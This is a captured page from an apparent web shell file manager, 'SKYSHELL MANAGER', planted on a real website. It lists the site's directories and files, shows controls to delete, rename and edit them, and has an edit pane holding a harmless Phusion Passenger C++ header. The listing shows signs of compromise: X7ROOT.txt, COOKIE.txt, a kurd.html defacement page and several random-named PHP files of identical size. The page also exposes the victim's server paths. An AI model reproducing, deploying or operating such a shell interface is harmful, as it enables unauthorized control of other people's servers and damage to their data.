📁
SKYSHELL MANAGER
PHP v8.2.30
Create
Create
Path:
root
/
home
/
qooetu
/
costes.qooetu.com
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
2e19d9
-
0755
🗑️
🏷️
🔒
📁
6b114
-
0755
🗑️
🏷️
🔒
📁
Modules
-
0755
🗑️
🏷️
🔒
📁
app
-
0755
🗑️
🏷️
🔒
📁
assets
-
0755
🗑️
🏷️
🔒
📁
bootstrap
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
config
-
0755
🗑️
🏷️
🔒
📁
css
-
0755
🗑️
🏷️
🔒
📁
database
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
nbproject
-
0755
🗑️
🏷️
🔒
📁
public
-
0755
🗑️
🏷️
🔒
📁
resources
-
0755
🗑️
🏷️
🔒
📁
routes
-
0755
🗑️
🏷️
🔒
📁
storage
-
0755
🗑️
🏷️
🔒
📁
tests
-
0755
🗑️
🏷️
🔒
📁
uploads
-
0755
🗑️
🏷️
🔒
📁
vendor
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.23 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
COOKIE.txt
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
X7ROOT.txt
0.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
defaults.php
1.29 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
engine.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
813.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
features.php
11.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
googlecfb82e09419fc0f6.html
0.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php0
1.56 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inputs.php
0.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kurd.html
1.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
library.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
min.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
p.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.04 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
product.php
1.78 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
qpmwztts.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.32 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
tovmbkwh.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tyyffovi.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
veoxv.html
1.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: UserDatabase.h
/* * Phusion Passenger - https://www.phusionpassenger.com/ * Copyright (c) 2018-2025 Asynchronous B.V. * * "Passenger", "Phusion Passenger" and "Union Station" are registered * trademarks of Asynchronous B.V. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #ifndef _PASSENGER_SYSTEM_TOOLS_USER_DATABASE_H_ #define _PASSENGER_SYSTEM_TOOLS_USER_DATABASE_H_ /* * Utility functions for looking up OS user and group accounts. * Wraps the getpwnam/getpwuid/getgrnam/getgrgid family of functions. * We're wrapping them because that family of functions's associated error * handling code are hard to get right. The utility functions in this file * throw exceptions with appropriate error messages. * Another problem is that the raw OS functions are not necessarily * thread-safe. The _r variants of those functions (e.g. getpwnam_r) are * thread-safe, but their API makes calling code riddled with boilerplate * that is easy to get wrong. * * In short, the utility functions in this file are easier to use, are * thread-safe, and are less error-prone compared to the raw OS functions. */ #include <sys/types.h> #include <pwd.h> #include <grp.h> #include <string> #include <boost/core/noncopyable.hpp> #include <StaticString.h> #include <StrIntTools/StrIntUtils.h> namespace Passenger { using namespace std; struct OsUserOrGroup: private boost::noncopyable { DynamicBuffer buffer; OsUserOrGroup(); virtual ~OsUserOrGroup(); }; struct OsUser: public OsUserOrGroup { struct passwd pwd; }; struct OsGroup: public OsUserOrGroup { struct group grp; }; /** * Looks up an OS user account by name, similar to getpwnam(). Puts * the result in `result`. * * @return True if lookup was successful, false if no user exists with the given name. * @throws SystemException An error occurred while looking up the user, and it's not * because the user does not exist. */ bool lookupSystemUserByName(const StaticString &name, OsUser &result); /** * Looks up an OS user account by UID, similar to getpwuid(). Puts * the result in `result`. * * @return True if lookup was successful, false if no user exists with the given UID. * @throws SystemException An error occurred while looking up the user, and it's not * because the user does not exist. */ bool lookupSystemUserByUid(uid_t uid, OsUser &result); /** * Looks up an OS group account by name, similar to getgrnam(). Puts * the result in `result`. * * @return True if lookup was successful, false if no group exists with the given name. * @throws SystemException An error occurred while looking up the group, and it's not * because the group does not exist. */ bool lookupSystemGroupByName(const StaticString &name, OsGroup &result); /** * Looks up an OS group account by GID, similar to getgrgid(). Puts * the result in `result`. * * @return True if lookup was successful, false if no group exists with the given GID. * @throws SystemException An error occurred while looking up the group, and it's not * because the group does not exist. */ bool lookupSystemGroupByGid(gid_t gid, OsGroup &result); /** * Returns the username of the OS user account with the given UID. If no such * account exists or if that account has no name, then returns a string that * is printf-style formatted one of two ways, depending on `fallback`. * * if `fallback` is true the "%d" format string is used, otherwise "UID %d" is used. */ string lookupSystemUsernameByUid(uid_t uid, bool fallback=false); /** * Returns the group name of the OS group account with the given GID. If no such * account exists or if that account has no name, then returns a string that * is printf-style formatted one of two ways, depending on `fallback`. * * if `fallback` is true the "%d" format string is used, otherwise "GID %d" is used. */ string lookupSystemGroupnameByGid(gid_t gid, bool fallback=false); /** * Returns the home directory of the current user. This queries $HOME, * or if that's not available, the OS user database. * * @throws SystemException * @throws RuntimeException */ string getHomeDir(); } // namespace Passenger #endif /* _PASSENGER_SYSTEM_TOOLS_USER_DATABASE_H_ */
Save